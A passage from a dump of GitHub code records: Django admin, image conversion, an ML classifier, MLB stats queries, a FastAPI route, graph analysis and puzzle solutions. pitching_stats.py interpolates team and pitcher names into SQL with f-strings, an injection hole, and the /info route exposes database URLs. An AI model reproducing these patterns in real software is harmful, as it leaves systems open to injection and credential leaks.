LEAFLET_FIELD_OPTIONS,\r\n geomodels.MultiLineStringField: LEAFLET_FIELD_OPTIONS,\r\n geomodels.PolygonField: LEAFLET_FIELD_OPTIONS,\r\n geomodels.MultiPolygonField: LEAFLET_FIELD_OPTIONS,\r\n}\r\n\r\n@admin.action(description='Disable selected practices')\r\ndef disable_practices(modeladmin, request, queryset):\r\n queryset.update(disabled=True)\r\n\r\n@admin.action(description='Enable selected practices')\r\ndef enable_practices(modeladmin, request, queryset):\r\n queryset.update(disabled=False)\r\n\r\n@admin.register(models.Practice)\r\nclass PracticeAdmin(admin.ModelAdmin):\r\n class Media:\r\n js = leaflet_js\r\n css = leaflet_css\r\n\r\n search_fields = ('name', 'address')\r\n list_display = ('name', 'pho_link', 'updated_at', 'disabled')\r\n list_filter = ('disabled', 'active', 'pho_link__name')\r\n actions = [disable_practices, enable_practices]\r\n formfield_overrides = FORMFIELD_OVERRIDES\r\n\r\n@admin.register(models.Pho)\r\nclass PhoAdmin(admin.ModelAdmin):\r\n search_fields = ('name', 'module',)\r\n list_display = ('name', 'module', 'region')\r\n list_filter = ('region',)\r\n\r\n@admin.register(models.Prices)\r\nclass PricesAdmin(admin.ModelAdmin):\r\n search_fields = ('practice__name',)\r\n list_display = ('practice', 'pho', 'from_age', 'to_age', 'price', 'csc', 'disabled')\r\n list_filter = ('practice__disabled', 'practice__pho_link',)\r\n history_list_display = ('price')\r\n\r\n@admin.register(models.Region)\r\nclass RegionAdmin(admin.ModelAdmin):\r\n class Media:\r\n js = leaflet_js\r\n css = leaflet_css\r\n\r\n search_fields = ('name',)\r\n list_display = ('name',)\r\n formfield_overrides = FORMFIELD_OVERRIDES","repo_name":"FraserThompson/DoctorPricerScrapers","sub_path":"dp_server/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28292940329","text":"# from hd5 to png\n\nimport h5py\nimport numpy as np\nimport os\nimport imageio\nfrom skimage.segmentation import find_boundaries\nfrom skimage.morphology import binary_dilation\nimport scipy\ndef create_border_mask_2d(image, max_dist):\n \"\"\"\n Create binary border mask for image.\n A pixel is part of a border if one of its 4-neighbors has different label.\n \n Parameters\n ----------\n image : numpy.ndarray - Image containing integer labels.\n max_dist : int or float - Maximum distance from border for pixels to be included into the mask.\n Returns\n -------\n mask : numpy.ndarray - Binary mask of border pixels. Same shape as image.\n \"\"\"\n max_dist = max(max_dist, 0)\n \n padded = np.pad(image, 1, mode='edge')\n \n border_pixels = np.logical_and(\n np.logical_and( image == padded[:-2, 1:-1], image == padded[2:, 1:-1] ),\n np.logical_and( image == padded[1:-1, :-2], image == padded[1:-1, 2:] )\n )\n\n distances = scipy.ndimage.distance_transform_edt(\n border_pixels,\n return_distances=True,\n return_indices=False\n )\n\n return distances <= max_dist\n\ndef f(input_h5py, raw_internal_path, neuronids_internal_path, output_dir):\n input_file = h5py.File(input_h5py, 'r')\n # print(list(input_file.keys()))\n output_raw_path = output_dir + '/raw'\n output_boundary_path = output_dir + '/label'\n\n if not os.path.isdir(output_raw_path):\n os.makedirs(output_raw_path)\n if not os.path.isdir(output_boundary_path):\n os.makedirs(output_boundary_path)\n raw_data = input_file[raw_internal_path][:]\n nid_data = input_file[neuronids_internal_path][:]\n print(\"write images to\", output_raw_path, output_boundary_path)\n for idx in range(len(raw_data)):\n # boundary = find_boundaries(nid_data[idx], mode='thick', connectivity = 2)\n # boundary = binary_dilation(boundary)\n # boundary = binary_dilation(boundary).astype('uint8') * 255\n boundary = create_border_mask_2d(nid_data[idx], 2).astype('uint8') * 255\n imageio.imwrite(output_raw_path + '/' + str(idx) +'.png', raw_data[idx])\n imageio.imwrite(output_boundary_path + '/' + str(idx) +'.png', boundary)\n \n\n\nf('/media/wlsdzyzl/DATA/datasets/CREMI/sample_A_20160501.hdf', 'volumes/raw', 'volumes/labels/neuron_ids', '/media/wlsdzyzl/DATA/datasets/CREMI/dataset_A_cremi')\n# f('/media/wlsdzyzl/DATA/datasets/CREMI/sample_B_20160501.hdf', 'volumes/raw', 'volumes/labels/neuron_ids', '/media/wlsdzyzl/DATA/datasets/CREMI/dataset_B')\n# f('/media/wlsdzyzl/DATA/datasets/CREMI/sample_C_20160501.hdf', 'volumes/raw', 'volumes/labels/neuron_ids', '/media/wlsdzyzl/DATA/datasets/CREMI/dataset_C')","repo_name":"wlsdzyzl/topohpm","sub_path":"topohpm/scripts/hdf2png.py","file_name":"hdf2png.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"32237236163","text":"import pandas as pd \nfrom nltk.tokenize import word_tokenize #\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer #\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import (accuracy_score, confusion_matrix, recall_score,\n precision_score, f1_score)\n\nprint('Libraries Imported Successfully')\n\n## Importing Tweets from the CSV file\n# df = pd.read_csv('data/twitter1.6m.csv', encoding='utf-8')\n# df.columns =['target','ids','date','flag','user','text']\n\n## Importing Tweets from the CSV file ->> Tiny Dataset\ndf = pd.read_csv(\n \"C:\\\\Users\\\\lenovo\\\\Documents\\\\GitHub\\\\Hello-World\\\\ML_Model_Training\\\\data\\\\mini.csv\", encoding='utf-8')\ndf.columns =['target','ids','date','flag','user','text']\n# Shuffle the Data\ndf = shuffle(df)\n\nX = df['text'] # These are the tweets :> object\ny = df['target'] # These are the scores [0-4] :> int64\n# print(X.tail())\n# print(y.tail())\n\nprint('Dataset Loaded and Shuffled')\n\n## SPLIT THE DATASET INTO TRAIN AND TEST SETS\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=24)\n\n\n## FEATURE EXTRACTION\ndef tok(text):\n tokens = word_tokenize(text)\n return tokens\n\nstemmer = PorterStemmer()\ndef custom_preprocessor(text):\n stems = stemmer.stem(text)\n return stems\n\n\n# Stopwords - CountVectorizer has an in-built stopwords list\nstop_wordss = stopwords.words('english')\n# Bag-of-Words Model\ncount_vec = CountVectorizer(stop_words=stop_wordss, tokenizer=tok, ngram_range=(1,2), preprocessor=custom_preprocessor)\nX_train_counts = count_vec.fit_transform(X_train)\n\n# Tf-idf\ntfidf_transformer = TfidfTransformer(use_idf=False)\nX_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)\n\nprint('Done Extracting Features')\nprint(f\"X_train_tfidf.shape : {X_train_tfidf.shape}\") # (12, 140)\n# print(X_train_tfidf)\n\n# new data to be feature-extracted before being predicted by the classifier\nX_test_count = count_vec.transform(X_test)\nX_test_tfidf = tfidf_transformer.transform(X_test_count)\nprint(f\"X_test_tfidf.shape : {X_test_tfidf.shape}\")\n\n## MACHINE LEARNING MODEL-BUILDING\n# Define the model\nclf = MultinomialNB()\n\n# Train the model\nclf.fit(X_train_tfidf, y_train)\nprint('Classifier Trained Successfully')\n\n## MODEL EVALUATION\npredictions = clf.predict(X_test_tfidf)\n# print(predictions)\n\nprint(f'\\nConfusion Matrix : {confusion_matrix(y_test, predictions)}')\nprint(f'\\nAccuracy Score : {accuracy_score(y_test, predictions)}')\nprint(f'\\nRecall Score : {recall_score(y_test, predictions, average=None)}')\nprint(f'\\nPrecision Score : {precision_score(y_test, predictions, average=None)}')\nprint(f'\\nF1 Score : {f1_score(y_test, predictions, average=None)}')\n","repo_name":"codewithlennylen/Hello-World","sub_path":"ML_Model_Training/naive_bayes_script_clean.py","file_name":"naive_bayes_script_clean.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29570725304","text":"import logging\nimport psutil\nimport time\nfrom multiprocessing import Process, Queue\nfrom traffic_analyzer.capture import capture_traffic\nfrom traffic_analyzer.analyze import analyze_traffic\nfrom traffic_analyzer.visualize import update_visualizations\n\n\ndef setup_logger():\n logging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s [%(levelname)s]: %(message)s',\n handlers=[\n logging.FileHandler('traffic_analyzer.log'),\n logging.StreamHandler()\n ]\n )\n\n\ndef get_default_interface():\n return psutil.net_io_counters(pernic=True).keys().__iter__().__next__()\n\n\ndef data_processing(interface, packet_count, queue):\n packets = capture_traffic(interface, packet_count)\n results = analyze_traffic(packets)\n queue.put(results)\n\n\ndef real_time_visualization(queue):\n while True:\n results = queue.get()\n update_visualizations(results)\n time.sleep(5)\n\n\ndef main():\n setup_logger()\n\n interface = get_default_interface()\n packet_count = 10\n\n queue = Queue()\n\n process_data = Process(target=data_processing, args=(interface, packet_count, queue))\n process_viz = Process(target=real_time_visualization, args=(queue,))\n\n process_data.start()\n process_viz.start()\n\n process_data.join()\n process_viz.join()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Craxti/traffic_analyzer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72703941340","text":"import os\nfrom dotenv import load_dotenv\nfrom sqlalchemy import create_engine as cd\nfrom sqlalchemy.sql import text\nimport sqlalchemy as sa\nimport pandas as pd\n\nload_dotenv()\n\nuser = os.getenv(\"MYSQL_USERNAME\")\npassword = os.getenv(\"MYSQL_PASSWORD\")\ndatabase_name = os.getenv(\"MYSQL_DATABASE\")\naws_URL = os.getenv(\"AWS_DATABASE_URL\")\n\nengine = cd(f\"mysql://{user}:{password}@{aws_URL}:3306/{database_name}\")\n\n\ndef get_team_names():\n connection = engine.connect()\n team_name_query = text(\"SELECT Team FROM Season_Batting_Away_2022 ORDER BY Team ASC\")\n team_name_execution = connection.execute(team_name_query)\n team_names = []\n for team in team_name_execution:\n team_names.append(team[0])\n connection.close()\n return tuple(team_names)\n\n\ndef get_starting_pitcher(teamName):\n starting_pitcher_query = text(\n f\"SELECT DISTINCT Name FROM {teamName}_Pitching_2022\"\n )\n connection = engine.connect()\n starting_pitcher_execution = connection.execute(starting_pitcher_query)\n starting_pitchers = []\n for starting_pitcher in starting_pitcher_execution:\n starting_pitchers.append(starting_pitcher[0])\n connection.close()\n return tuple(starting_pitchers)\n\n\ndef league_average():\n league_average_home_query = text(\n \"SELECT ROUND(AVG(ERA), 4), ROUND(AVG(FIP), 4), ROUND(AVG(xFIP), 4), ROUND(AVG(AVG), 4), ROUND(AVG(WHIP), 4), ROUND(AVG(R), 4), ROUND(AVG(ER), 4), ROUND(AVG(K),4 ), ROUND(AVG(BB), 4), ROUND(AVG(HR9), 4), ROUND(AVG(GB),4 ), ROUND(AVG(FB), 4) FROM Season_Pitching_Home_2022\"\n )\n league_average_away_query = text(\n \"SELECT ROUND(AVG(ERA), 4), ROUND(AVG(FIP), 4), ROUND(AVG(xFIP), 4), ROUND(AVG(AVG), 4), ROUND(AVG(WHIP), 4), ROUND(AVG(R), 4), ROUND(AVG(ER), 4), ROUND(AVG(K),4 ), ROUND(AVG(BB), 4), ROUND(AVG(HR9), 4), ROUND(AVG(GB),4 ), ROUND(AVG(FB), 4) FROM Season_Pitching_Away_2022\"\n )\n connection = engine.connect()\n league_average_home_execution = connection.execute(league_average_home_query)\n league_average_away_execution = connection.execute(league_average_away_query)\n league_average_home = []\n league_average_away = []\n for home_stat in league_average_home_execution:\n league_average_home.append(home_stat)\n for away_stat in league_average_away_execution:\n league_average_away.append(away_stat)\n connection.close()\n return [league_average_home[0], league_average_away[0]]\n\n\ndef season_average(teamName):\n season_average_home_query = text(\n f\"SELECT ERA, FIP, xFIP, AVG, WHIP, R, ER, K, BB, HR9, GB, FB FROM Season_Pitching_Home_2022 WHERE Team = '{teamName}'\"\n )\n season_average_away_query = text(\n f\"SELECT ERA, FIP, xFIP, AVG, WHIP, R, ER, K, BB, HR9, GB, FB FROM Season_Pitching_Away_2022 WHERE Team = '{teamName}'\"\n )\n connection = engine.connect()\n season_average_home_execution = connection.execute(season_average_home_query)\n season_average_away_execution = connection.execute(season_average_away_query)\n season_average_home = []\n season_average_away = []\n for home_stat in season_average_home_execution:\n season_average_home.append(home_stat)\n for away_stat in season_average_away_execution:\n season_average_away.append(away_stat)\n connection.close()\n return [season_average_home[0], season_average_away[0]]\n\n\ndef starting_pitcher_stats(teamName, startingPitcher):\n season_average_pitcher_query = text(\n f\"SELECT ERA, FIP, xFIP, AVG, WHIP, R, ER, K, BB, HR9, GB, FB FROM {teamName}_Pitching_2022 WHERE Name = '{startingPitcher}'\"\n )\n connection = engine.connect()\n season_average_pitcher_execution = connection.execute(season_average_pitcher_query)\n ERA = []\n FIP = []\n xFIP = []\n AVG = []\n WHIP = []\n R = []\n ER = []\n K = []\n BB = []\n HR9 = []\n GB = []\n FB = []\n for stat in season_average_pitcher_execution:\n ERA.append(stat[0])\n FIP.append(stat[1])\n xFIP.append(stat[2])\n AVG.append(stat[3])\n WHIP.append(stat[4])\n R.append(stat[5])\n ER.append(stat[6])\n K.append(stat[7])\n BB.append(stat[8])\n HR9.append(stat[9])\n GB.append(stat[10])\n FB.append(stat[11])\n connection.close()\n return [ERA, FIP, xFIP, AVG, WHIP, R, ER, K, BB, HR9, GB, FB]\n\n\ndef get_stats(teamName, startingPitcher):\n league_average_stats = league_average()\n season_average_stats = season_average(teamName)\n season_stats = starting_pitcher_stats(teamName, startingPitcher)\n return league_average_stats, season_average_stats, season_stats\n\n\nif __name__ == \"__main__\":\n print(starting_pitcher_stats(\"TOR\", \"Jose Berrios\"))\n","repo_name":"Charanvir/MLB-Trends-Site","sub_path":"functions/pitching_stats.py","file_name":"pitching_stats.py","file_ext":"py","file_size_in_byte":4673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4909889322","text":"from fastapi import APIRouter\n\nfrom app.settings import Settings\n\nsettings = Settings()\n\nrouter = APIRouter(\n tags=[\"Info\"],\n dependencies=[],\n)\n\n\n@router.get(\"/info\")\nasync def info():\n \"\"\"Returns a dictionary with the following setting informations\n\n Returns:\n db_provider: The database provider used by the application.\n postgres_db_url: The PostgreSQL database URL.\n sqlite_db_url: The SQLite database URL.\n \"\"\"\n return {\n \"db_provider\": settings.db_provier,\n \"postgres_db_url\": settings.postgresql_db_url,\n \"sqlite_db_url\": settings.sqlite_db_url,\n }\n","repo_name":"yuyatinnefeld/cloud-native-kiosk","sub_path":"deploy/backend/python-app/app/routes/info/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"40251410529","text":"# https://atcoder.jp/contests/abc144/tasks/abc144_b\nn = int(input())\no = 'No'\nif n <=81:\n for i in range(1,10):\n r = n%i\n q = n//i\n if r == 0 and 1<=q<= 9:\n o = 'Yes'\n break\nprint(o)","repo_name":"Sarveshgithub/Python-DS-ALgo","sub_path":"AtCoder/abc144_b.py","file_name":"abc144_b.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3443995266","text":"# # Creating a binary file\n# with open(\"binary\", 'bw') as bin_files:\n# for i in range(17):\n# bin_files.write(bytes([i])) # returning i integer as byte object\n#\n# # Printing binary files in the console\n# with open(\"binary\", 'br') as binFiles:\n# for b in binFiles:\n# print(b)\n\n\na = 65534 # FF FE\nb = 65535 # FF FF\nc = 65536 # 00 01 00 00\nd = 2998302 # 00 2D C0 1E\n\nwith open(\"binary2\", \"bw\") as bin_files:\n bin_files.write(a.to_bytes(2, \"big\"))\n bin_files.write(a.to_bytes(2, \"big\"))\n bin_files.write(a.to_bytes(4, \"big\"))\n bin_files.write(a.to_bytes(4, \"big\"))\n bin_files.write(a.to_bytes(4, \"little\"))\n\n\nwith open(\"binary2\", \"br\") as bin_files:\n e = int.from_bytes(bin_files.read(2), \"big\")\n print(e)\n f = int.from_bytes(bin_files.read(2), \"big\")\n print(f)\n g = int.from_bytes(bin_files.read(4), \"big\")\n print(g)\n h = int.from_bytes(bin_files.read(4), \"big\")\n print(h)\n i = int.from_bytes(bin_files.read(4), \"big\")\n print(i)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Faizi-AdnanFahad/Begginner_Python_Projects","sub_path":"Python-masterclass/current-Python-masterclass-remaster/Binary/binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71632733341","text":"from contextlib import contextmanager\nfrom typing import Any, Dict, Optional\n\nfrom ckan import model\nfrom unittest.mock import patch\n\nANONYMOUS_USER = None\n\n\n@contextmanager\ndef user_context(user, ignore_auth=False):\n # type: (Optional[Dict[str, Any]], bool) -> Dict[str, Any]\n \"\"\"Context manager that creates a CKAN context dict for a user, then\n both patches our `get_user_context` function to return it and also\n yields the context for use inside tests\n \"\"\"\n context = {\"model\": model,\n \"ignore_auth\": ignore_auth,\n \"user\": None,\n \"auth_user_obj\": None,\n \"userobj\": None}\n\n if user is not ANONYMOUS_USER:\n userobj = model.User.get(user['name'])\n context.update({\"user\": user['name'],\n \"auth_user_obj\": userobj,\n \"userobj\": userobj})\n\n with patch('ckanext.authz_service.authz_binding.common.get_user_context', lambda: context):\n yield context\n\n\n@contextmanager\ndef temporary_file(content):\n # type: (str) -> str\n \"\"\"Context manager that creates a temporary file with specified content\n and yields its name. Once the context is exited the file is deleted.\n \"\"\"\n import tempfile\n file = tempfile.NamedTemporaryFile()\n file.write(content)\n file.flush()\n yield file.name\n","repo_name":"datopian/ckanext-authz-service","sub_path":"ckanext/authz_service/tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"69"} +{"seq_id":"71417207900","text":"class Solution:\n def longestArithSeqLength(self, nums: List[int]) -> int:\n dp=defaultdict(lambda: defaultdict(lambda: 1))\n \n for r in range(len(nums)):\n for l in range(r):\n diff = nums[r]-nums[l]\n dp[r][diff] = dp[l][diff] + 1\n \n return max(max(vals.values()) for vals in dp.values())","repo_name":"cb299792458/LeetHub","sub_path":"1027-longest-arithmetic-subsequence/1027-longest-arithmetic-subsequence.py","file_name":"1027-longest-arithmetic-subsequence.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7353154447","text":"import networkx as nx \nimport torch \nimport dgl \nimport matplotlib.pyplot as plt \nfrom geopy.geocoders import Nominatim\nimport osmnx as ox \nimport shapely \nimport pandas as pd\nimport pandana as pdna\nfrom shapely import geometry\nfrom descartes.patch import PolygonPatch\nfrom shapely.geometry import LineString\n\n\n\n# http://kuanbutts.com/2017/08/08/how-to-pdna/\n\n\ngeolocoder = Nominatim(user_agent = 'South Korea')\n\n\ndef geocoding(address): \n geo = geolocoder.geocode(address)\n crd = (geo.latitude, geo.longitude)\n print(crd)\n return crd\n\n\n\ndef multiG_to_G(MG, aggr_func=max):\n rG = nx.Graph()\n # add nodes\n rG.add_nodes_from([n for n in MG.nodes()])\n # extract edge and their weights\n edge_weight_dict = {}\n for u, v, e_attr in MG.edges(data=True):\n e, weight = (u, v), e_attr['weight']\n if e in edge_weight_dict:\n edge_weight_dict[e].append(weight)\n else:\n edge_weight_dict[e] = [weight]\n # add edges by aggregating their weighy by `aggr_func`\n for e, e_weight_lst in edge_weight_dict.items():\n rG.add_edge(*e, weight=aggr_func(e_weight_lst))\n return rG\n \n\n# osmnx.pois.pois_from_address로 해당 좌표 인근의 POI 정보 불러오기 \ntags = {'amenity': True}\n\naddress_list = ['서울대입구역',\n'도림로 264',\n'현충로 213']\n\n\ncrds = []\ndemo = dict()\ncrd = geocoding(address_list[1]) # address_list 리스트의 주소 중 index 0의 주소 경위도 좌표 받아오기\ncrds.append(crd)\npois = ox.pois.pois_from_point(crd, tags=tags, dist=500) # 해당 경위도 좌표계 인근 500m의 POI들을 받아오기 \npois = pois.dropna(axis=0, subset=['name'])\npois.reset_index(inplace=True)\n\n\npois_df = pd.DataFrame(index=range(0, len(pois)), columns=['poi_osmid', 'poi_x', 'poi_y'])\namenity_coord = dict()\nfor i in range(len(pois)):\n shapely_obj = pois.loc[i, ['geometry']]\n \n if shapely_obj[0].type == 'Point':\n x_crd = shapely_obj[0].xy[0][0]\n y_crd = shapely_obj[0].xy[1][0]\n xy_crd = (x_crd, y_crd)\n amenity_coord[pois.loc[i, ['name']][0]] = [pois.loc[i, ['amenity']][0], xy_crd]\n pois_df.loc[i] = [pois.loc[i, ['osmid']][0], x_crd, y_crd]\n \n if shapely_obj[0].type == 'Polygon': \n x_crd = shapely_obj[0].centroid.xy[0][0]\n y_crd = shapely_obj[0].centroid.xy[1][0]\n xy_crd = (x_crd, y_crd)\n amenity_coord[pois.loc[i, ['name']][0]] = [pois.loc[i, ['amenity']][0], xy_crd]\n pois_df.loc[i] = [pois.loc[i, ['osmid']][0], x_crd, y_crd]\n\n\npoi_count = pois['amenity'].value_counts() # pois_df에 저장된 각 POI amenity 종류 별로 몇개씩 있는지 카운트 \n# demo[address_list[1]] = poi_count # 아직은 사용하고 있지 않음. 나중에는 각 주소들을 key로, poi_count를 value로 갖는 dictionary 생성할 것임\n\nG = ox.graph_from_point(crds[0], dist=500, network_type=\"walk\") \nnodes, edges = ox.graph_to_gdfs(G, nodes=True, edges=True)\n\n\nG_original = G.to_undirected().copy()\nhouse = ox.distance.get_nearest_node(G_original, crds[0], method='euclidean')\nG.add_node(house)\nfig, ax = ox.plot_graph(G, show=False, close=False,\n edge_color='#777777')\nax.set_facecolor('white')\n# ox.plot_graph(G_projected)\n\n\nedge_list = list(G.edges) #G의 엣지들을 리스트로 저장\nnode_list = list(G.nodes) #G의 노드들을 리스트로 저장\nprint(' ')\nprint('Original Nodes # : {}'.format(len(node_list)))\nprint('Original Edges # : {}'.format(len(edge_list)))\nprint(' ')\n\n\nnode_dict = dict() # osmid를 key로, 해당 노드의 (x, y) 좌표를 튜플로 하는 dictionary 생성\nfor i in range(len(node_list)):\n osmid = node_list[i] \n node_dict[osmid] = (str(osmid), G.nodes[osmid]['x'], G.nodes[osmid]['y'])\n\nedge_dict = dict() # key는 인덱스, value에 딕셔너리 -- {시작노드:(x,y), 끝노드:(x,y)} \nfor i in range(len(edge_list)):\n st_osmid = edge_list[i][0]\n ed_osmid = edge_list[i][1]\n st_crd = (G.nodes[st_osmid]['x'], G.nodes[st_osmid]['y'])\n ed_crd = (G.nodes[ed_osmid]['x'], G.nodes[ed_osmid]['y'])\n crd_dict = dict()\n crd_dict[st_osmid] = st_crd\n crd_dict[ed_osmid] = ed_crd\n edge_dict[i] = crd_dict\n\n\n# 위에서 생성한 node_dict랑 edge_dict로 데이터프레임 생성 \nnode_df = pd.DataFrame(node_dict).T\nnode_df.columns = ['osmid','x', 'y']\nnode_df['osmid'] = node_df['osmid'].astype('int64')\n\nedge_df = pd.DataFrame(index=range(0, len(edge_dict)), columns=['st_osmid', 'st_x', 'st_y', 'ed_osmid', 'ed_x', 'ed_y', 'edge_weight'])\nfor i in range(len(edge_dict)):\n k, v = edge_dict[i].items()\n st_osmid = k[0]\n ed_osmid = v[0]\n st_x = k[1][0]\n st_y = k[1][1]\n ed_x = v[1][0]\n ed_y = v[1][1]\n edge_weight = 1\n edge_df.loc[i] = [st_osmid, st_x, st_y, ed_osmid, ed_x, ed_y, edge_weight]\n \n\nnet = pdna.Network(node_df['x'], node_df['y'], edge_df['st_osmid'], edge_df['ed_osmid'], edge_df[['edge_weight']])\n\nnear_ids = net.get_node_ids(pois_df['poi_x'],\n pois_df['poi_y'],\n mapping_distance=1)\npois_df['nearest_node_id'] = near_ids\nnearest_to_pois = pd.merge(pois_df,\n node_df,\n left_on='nearest_node_id',\n right_on='osmid',\n how='left',\n sort=False,\n suffixes=['_from', '_to']) \n \ncol = list(nearest_to_pois.columns)\nfor i in range(len(nearest_to_pois)): \n y1 = nearest_to_pois.iloc[i]['poi_y']\n x1 = nearest_to_pois.iloc[i]['poi_x']\n y2 = nearest_to_pois.iloc[i]['y']\n x2 = nearest_to_pois.iloc[i]['x']\n distance = ox.distance.euclidean_dist_vec(y1, x1, y2, x2)\n print(distance)\n line = LineString([(x1, y1), (x2, y2)])\n new_data = {'osmid': '{}'.format(i),\n 'name': 'new',\n 'highway': 'nan',\n 'oneway': 'nan',\n 'length': distance, \n 'geometry': line,\n 'service': 'nan',\n 'tunnel': 'nan',\n 'lanes': 'nan',\n 'u': nearest_to_pois.iloc[i]['poi_osmid'],\n 'v': nearest_to_pois.iloc[i]['osmid'],\n 'key': 0\n }\n edges = edges.append(new_data, ignore_index=True) \n\n \n# add poi (node) to node_df \npois_df_ = dict()\nfor i in range(len(pois_df)):\n poi_osmid = pois_df.loc[i, ['poi_osmid']][0]\n poi_x = pois_df.loc[i, ['poi_x']][0]\n poi_y = pois_df.loc[i, ['poi_x']][0]\n pois_df_[i] = [poi_osmid, poi_x, poi_y]\npois_df_ = pd.DataFrame(pois_df_).T\npois_df_.columns = ['osmid','x', 'y']\npois_df_['osmid'] = pois_df_['osmid'].astype('int64')\nnnode_df = pd.concat([node_df, pois_df_]) # nnode_df는 기존 node_df에 poi_df를 추가한 데이터프레임\nnnode_df = nnode_df.reset_index()\nnnode_df = nnode_df.drop(['index'], axis=1)\n\n\n\npoi_edge_list = []\naddi_edge_df = dict() # poi와 인근노드를 연결하면서 추가된 엣지 df\nfor i in range(len(pois_df)):\n poi_n = pois_df.loc[i, ['poi_osmid']][0] #st_osmid\n nearest_n = pois_df.loc[i, ['nearest_node_id']][0] #ed_osmid\n st_x = nnode_df.loc[nnode_df['osmid'] == poi_n]['x'].item()\n st_y = nnode_df.loc[nnode_df['osmid'] == poi_n]['y'].item()\n ed_x = nnode_df.loc[nnode_df['osmid'] == nearest_n]['x'].item()\n ed_y = nnode_df.loc[nnode_df['osmid'] == nearest_n]['y'].item()\n edge_weight = 1\n addi_edge_df[i] = [poi_n, st_x, st_y, nearest_n, ed_x, ed_y, edge_weight]\n poi_edge_list.append((poi_n, nearest_n, 0))\naddi_edge_df = pd.DataFrame(addi_edge_df).T\naddi_edge_df.columns = ['st_osmid','st_x', 'st_y', 'ed_osmid', 'ed_x', 'ed_y', 'edge_weight']\needge_df = pd.concat([edge_df, addi_edge_df])\n\n\n\n# add_edge_df의 새로 생성된 엣지들을 기존의 G에 추가\n# poi들을 기존의 G에 추가 \nprint('POIs (node, edge) from OSM added!')\npoi_node_list = list(pois_df['poi_osmid'])\nG.add_nodes_from(poi_node_list)\nG.add_edges_from(poi_edge_list)\nG_undirected = G.to_undirected()\n\n\nprint(' ')\nprint('New Nodes # : {}'.format(len(list(G.nodes))))\nprint('New Edges # : {}'.format(len(list(G.edges))))\nprint(' ')\n\n\n# making real graph\nfrom jorub_categorical_encoding import amenity_df\namenity_le = amenity_df\nj_node_ls = poi_node_list.copy()\nj_node_ls.append(house)\n\n\nroute = nx.shortest_path(G_undirected, source=house, target=368654020, weight='length')\n\nfig, ax = ox.plot.plot_graph_route(G_undirected, route=route, route_color='r')\n\n\nG_j = nx.Graph()\nfor i in range(len(j_node_ls)):\n \n if j_node_ls[i] == house:\n continue\n else: \n osmid = j_node_ls[i]\n amenity_value = pois['amenity'][pois['osmid'] == osmid].values[0]\n le = amenity_le['label'][amenity_le['value'] == amenity_value].values[0]\n G_j.add_nodes_from([(osmid, {'label' : le})])\n \n distance = nx.shortest_path_length(G_undirected, house, osmid, weight='length')\n print(distance)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"henewsuh/seulsekwon_gis_analysis","sub_path":"past/jorub_preprocessing_v4.py","file_name":"jorub_preprocessing_v4.py","file_ext":"py","file_size_in_byte":8950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22016629585","text":"import cv2 as cv\nimport numpy as np\nimport os\nimport yolo_globals as yg\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nfrom kmeans_for_anchor_boxes import _iou\n# from matplotlib.colors import get_named_colors_mapping\nfrom random import choice, randint, uniform\nfrom shutil import copyfile\n\n\n# colors = list(get_named_colors_mapping().keys())\ncolors = [\n \"red\",\n \"orangered\",\n \"magenta\",\n \"blue\",\n \"crimson\",\n \"lime\",\n \"yellow\",\n \"lawngreen\",\n \"tomato\",\n \"cyan\"\n]\n\n\ndef check_if_grid_size_and_bbox_num_large_enough():\n # Go through the dataset and 'assign' each object to a grid cell.\n # If we run out of bboxes, then raise a warning\n all_files = list(os.listdir(yg.ROOT_DATASET_PATH))\n annotations = [yg.ROOT_DATASET_PATH+f for f in all_files if os.path.splitext(f)[1] == yg.LABEL_FILETYPE]\n fails = []\n fails_objs = []\n fails_loc = []\n max_assignments = 0\n max_assignments_file = \"\"\n max_assignments_cell_loc = (0, 0)\n for ann in annotations:\n f = open(ann, \"r\")\n lines = f.readlines()\n lines = [e.strip().split(\" \") for e in lines]\n f.close()\n grid_assignments = np.zeros((yg.GRID_H, yg.GRID_W)).astype(np.int32)\n for line in lines:\n # X, Y, W, H is already in units of % of image width/height -> range from 0->1\n split_line = [float(el) for el in line]\n x_center = split_line[1]\n y_center = split_line[2]\n # Will be a number between 0 -> grid size with a fraction representing how far into the cell.\n grid_loc = [yg.GRID_W * x_center, yg.GRID_H * y_center]\n # Y value determines row. Top left of image is 0,0 and y is 